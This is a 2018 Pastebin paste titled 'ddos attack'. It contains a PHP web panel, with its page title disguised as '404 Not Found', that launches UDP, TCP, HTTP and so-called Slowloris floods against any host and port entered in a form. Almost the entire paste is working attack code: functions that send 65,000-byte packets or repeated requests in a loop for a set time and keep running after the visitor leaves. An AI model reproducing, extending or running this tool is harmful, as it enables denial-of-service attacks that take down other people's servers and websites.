Ribang

ddos attack

Jun 6th, 2018
207
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.87 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  
  5.  
  6. $type = $_GET['type'];
  7. $host = $_GET['host'];
  8. $time = $_GET['time'];
  9. $port = $_GET['port'];
  10. $page = $_GET['page'];
  11. $myna = $_SERVER[PHP_SELF];
  12.  
  13.  
  14. ?>
  15.  
  16.  
  17. <!DOCTYPE html>
  18. <html lang="en">
  19. <head>
  20. <meta charset="utf-8">
  21. <title>404 Not Found</title>
  22. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  23. <meta name="description" content="">
  24. <meta name="author" content="">
  25.  
  26. <!-- Le styles -->
  27. <link href="http://getbootstrap.com/2.3.2/assets/css/bootstrap.css" rel="stylesheet">
  28. <link href="http://getbootstrap.com/2.3.2/assets/css/bootstrap-responsive.css" rel="stylesheet">
  29. <link href="http://getbootstrap.com/2.3.2/assets/css/docs.css" rel="stylesheet">
  30. <link href="http://getbootstrap.com/2.3.2/assets/js/google-code-prettify/prettify.css" rel="stylesheet">
  31. <center>
  32. <b style="font-size:44px;"><font>DoS</font></font></b>
  33. <br><br>
  34. </center>
  35. <div class="well">
  36. <center>
  37. <?php if(empty($_GET['type'])) { ?><br>SEND DOS ATTACK<br><br>
  38. <form action="" method="get">
  39. <input type="text" name="host" placeholder="HOST"><br>
  40. <input type="text" name="port" placeholder="PORT"><br>
  41. <input type="text" name="time" placeholder="TIME"><br>
  42. <select name="type">
  43. <optgroup label="Methodes 1">
  44. <option value="UDP">UDP</option>
  45. <option value="TCP">TCP</option>
  46. <option value="HTTP">HTTP</option>
  47. <option value="SLOWLORIS">SLOWLORIS</option>
  48. </opt>
  49.  
  50. <optgroup label="Methodes 2">
  51. <option value="UDP">HOME CONNECTION</option>
  52. <option value="TCP">SSYN</option>
  53. <option value="HTTP">WEBSITE CRASH</option>
  54. <option value="SLOWLORIS">WEBSITE CRASH SLOW</option>
  55. </opt>
  56. </select><br>
  57. <input type="submit" class="btn" value="START ATTACK!">
  58. </form>
  59.  
  60. <form action="" method="get">
  61. <input type="submit" name="" class="btn" value="STOP CURRENT ATTACK!">
  62. </form>
  63. <?php } ?>
  64.  
  65. <?php
  66. $type = $_GET['type'];
  67. $host = $_GET['host'];
  68. $time = $_GET['time'];
  69. $port = $_GET['port'];
  70. $page = $_GET['page'];
  71. $myna = $_SERVER[PHP_SELF];
  72.  
  73. if ( isset( $_GET['type'] ) )
  74. {
  75. $type = $_GET['type'];
  76. $host = $_GET['host'];
  77. $time = $_GET['time'];
  78. $port = $_GET['port'];
  79. $page = $_GET['page'];
  80. $myna = $_SERVER[PHP_SELF];
  81.  
  82. if ( $type == "UDP" )
  83. {
  84. if ( $_GET['host'] != '' && $_GET['time'] != '' )
  85. {
  86. $page .= UDP_FLOOD( $host , $time );
  87. }
  88. else
  89. {
  90. $page .= ' <b>UDP Flood</b><br /><br />' . "\n";
  91. $page .= ' <form action="' . $myna . '" method="get">' . "\n";
  92. $page .= ' <table class="text">' . "\n";
  93. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  94. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  95. $page .= ' </table>' . "\n";
  96. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  97. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  98. $page .= ' </form>' . "\n";
  99. }
  100. }
  101. elseif ( $type == "TCP" )
  102. {
  103. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['port'] != '' )
  104. {
  105. $page .= TCP_FLOOD ( $host , $port , $time );
  106. }
  107. else
  108. {
  109. $page .= ' <b>TCP Flood</b><br /><br />' . "\n";
  110. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  111. $page .= ' <table class="text">' . "\n";
  112. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  113. $page .= ' <tr><td>Port:</td><td><input type="text" style="width: 130px" name="port" ></td></tr>' . "\n";
  114. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  115. $page .= ' </table>' . "\n";
  116. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  117. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  118. $page .= ' </form>' . "\n";
  119. }
  120. }
  121. elseif ( $type == "HTTP" )
  122. {
  123. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' )
  124. {
  125. $page .= HTTP_FLOOD ( $host , $page , $time );
  126. }
  127. else
  128. {
  129. $page .= ' <b>HTTP Flood</b><br /><br />' . "\n";
  130. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  131. $page .= ' <table class="text">' . "\n";
  132. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  133. $page .= ' <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  134. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  135. $page .= ' </table>' . "\n";
  136. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  137. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  138. $page .= ' </form>' . "\n";
  139. }
  140. }
  141. elseif ( $type == "SLOWLORIS" )
  142. {
  143. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' )
  144. {
  145. $page .= SLOWLORIS ( $host , $page , $time );
  146. }
  147. else
  148. {
  149. $page .= ' <b>Slowloris</b><br /><br />' . "\n";
  150. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  151. $page .= ' <table class="text">' . "\n";
  152. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  153. $page .= ' <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  154. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  155. $page .= ' </table>' . "\n";
  156. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  157. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  158. $page .= ' </form>' . "\n";
  159. }
  160. }
  161. else
  162. {
  163.  
  164. }
  165. }
  166. else
  167. {
  168.  
  169. }
  170.  
  171. $page .= ' <br /></div>' . "\n";
  172. $page .= ' </body>' . "\n";
  173. $page .= '</html>' . "\n";
  174.  
  175. print$page;
  176.  
  177. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  178. // UDP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  179. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  180.  
  181. function UDP_Flood( $host , $length )
  182. {
  183. ignore_user_abort(TRUE);
  184. set_time_limit(0);
  185.  
  186. $max_time = time() + $length;
  187.  
  188. $packet = "";
  189. $packets = 0;
  190.  
  191. while( strlen ( $packet ) < 65000 )
  192. {
  193. $packet .= Chr( 255 );
  194. }
  195.  
  196. while( 1 )
  197. {
  198. if ( time() > $max_time )
  199. {
  200. break;
  201. }
  202.  
  203. $rand = rand( 1 , 65535 );
  204. @$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 );
  205. if( $fp )
  206. {
  207. fwrite( $fp , $packet );
  208. fclose( $fp );
  209. $packets++;
  210. }
  211. }
  212.  
  213. if ( $packets == 0 )
  214. {
  215. $rtn = '<b>UDP Flood</b><br /><br />' . "\n";
  216. $rtn .= '<table class="text">' . "\n";
  217. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  218. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  219. $rtn .= '</table>' . "\n";
  220. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  221. }
  222. else
  223. {
  224. $rtn = '<b>UDP Flood</b><br /><br />' . "\n";
  225. $rtn .= '<table class="text">' . "\n";
  226. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  227. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  228. $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
  229. $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
  230. $rtn .= '</table>' . "\n";
  231. }
  232.  
  233. return$rtn;
  234. }
  235.  
  236. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  237. // TCP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  238. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  239.  
  240. function TCP_Flood( $host , $port , $length )
  241. {
  242. ignore_user_abort(TRUE);
  243. set_time_limit(0);
  244.  
  245. $max_time = time() + $length;
  246.  
  247. $packet = "";
  248. $packets = 0;
  249.  
  250. while( strlen ( $packet ) < 65000 )
  251. {
  252. $packet .= Chr( 255 );
  253. }
  254.  
  255. @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  256.  
  257. while( 1 )
  258. {
  259. if ( time() > $max_time )
  260. {
  261. break;
  262. }
  263.  
  264. if( $fp )
  265. {
  266. fwrite( $fp , $packet );
  267. fclose( $fp );
  268. $packets++;
  269. }
  270. else
  271. {
  272. @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  273. }
  274. }
  275.  
  276. if ( $packets == 0 )
  277. {
  278. $rtn = '<b>TCP Flood</b><br /><br />' . "\n";
  279. $rtn .= '<table class="text">' . "\n";
  280. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  281. $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
  282. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  283. $rtn .= '</table>' . "\n";
  284. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  285. }
  286. else
  287. {
  288. $rtn = '<b>TCP Flood</b><br /><br />' . "\n";
  289. $rtn .= '<table class="text">' . "\n";
  290. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  291. $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
  292. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  293. $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
  294. $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
  295. $rtn .= '</table>' . "\n";
  296. }
  297.  
  298. return$rtn;
  299. }
  300.  
  301. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  302. // HTTP FLOOD ///////////////////////////////////////////////////////////////////////////////////////////
  303. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  304.  
  305. function HTTP_Flood( $host , $page , $length )
  306. {
  307. ignore_user_abort(TRUE);
  308. set_time_limit(0);
  309.  
  310. if ( $page == '' )
  311. {
  312. $page = '/';
  313. }
  314.  
  315. $max_time = time() + $length;
  316.  
  317. $packet .= 'GET ' . $page . ' HTTP/1.1' . "\r\n";
  318. $packet .= 'Host: ' . $host . "\r\n";
  319. $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  320. $packet .= 'Keep-alive: 300' . "\r\n";
  321. $packet .= 'Connection: keep-alive' . "\r\n\r\n";
  322.  
  323. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  324. while( 1 )
  325. {
  326. if ( time() > $max_time )
  327. {
  328. break;
  329. }
  330.  
  331. if( $fp )
  332. {
  333. fwrite( $fp , $packet );
  334. fclose( $fp );
  335. $packets++;
  336. }
  337. else
  338. {
  339. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  340. }
  341. }
  342.  
  343. if ( $packets == 0 )
  344. {
  345. $rtn = '<b>HTTP Flood</b><br /><br />' . "\n";
  346. $rtn .= '<table class="text">' . "\n";
  347. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  348. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  349. $rtn .= '</table>' . "\n";
  350. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  351. }
  352. else
  353. {
  354. $rtn = '<b>HTTP Flood</b><br /><br />' . "\n";
  355. $rtn .= '<table class="text">' . "\n";
  356. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  357. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  358. $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
  359. $rtn .= '</table>' . "\n";
  360. }
  361.  
  362. return$rtn;
  363. }
  364.  
  365. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  366. // SLOWLORIS ///////////////////////////////////////////////////////////////////////////////////////////
  367. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  368.  
  369. function SLOWLORIS( $host , $page , $length )
  370. {
  371. ignore_user_abort(TRUE);
  372. set_time_limit(0);
  373.  
  374. if ( $page == '' )
  375. {
  376. $page = '/';
  377. }
  378.  
  379. $max_time = time() + $length;
  380.  
  381. $packet .= 'POST ' . $page . ' HTTP/1.1' . "\r\n";
  382. $packet .= 'Host: ' . $host . "\r\n";
  383. $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  384. $packet .= 'Content-length: 42' . "\r\n\r\n";
  385.  
  386. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  387. while( 1 )
  388. {
  389. if ( time() > $max_time )
  390. {
  391. break;
  392. }
  393.  
  394. if( $fp )
  395. {
  396. fwrite( $fp , $packet );
  397. fclose( $fp );
  398. $packets++;
  399. }
  400. else
  401. {
  402. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  403. }
  404. }
  405.  
  406. if ( $packets == 0 )
  407. {
  408. $rtn = '<b>Slowloris</b><br /><br />' . "\n";
  409. $rtn .= '<table class="text">' . "\n";
  410. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  411. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  412. $rtn .= '</table>' . "\n";
  413. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  414. }
  415. else
  416. {
  417. $rtn = '<b>Slowloris</b><br /><br />' . "\n";
  418. $rtn .= '<table class="text">' . "\n";
  419. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  420. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  421. $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
  422. $rtn .= '</table>' . "\n";
  423. }
  424.  
  425. return$rtn;
  426. }
  427.  
  428. ?>
  429.  
  430. </center>
  431. </div>
Add Comment
Please, Sign In to add comment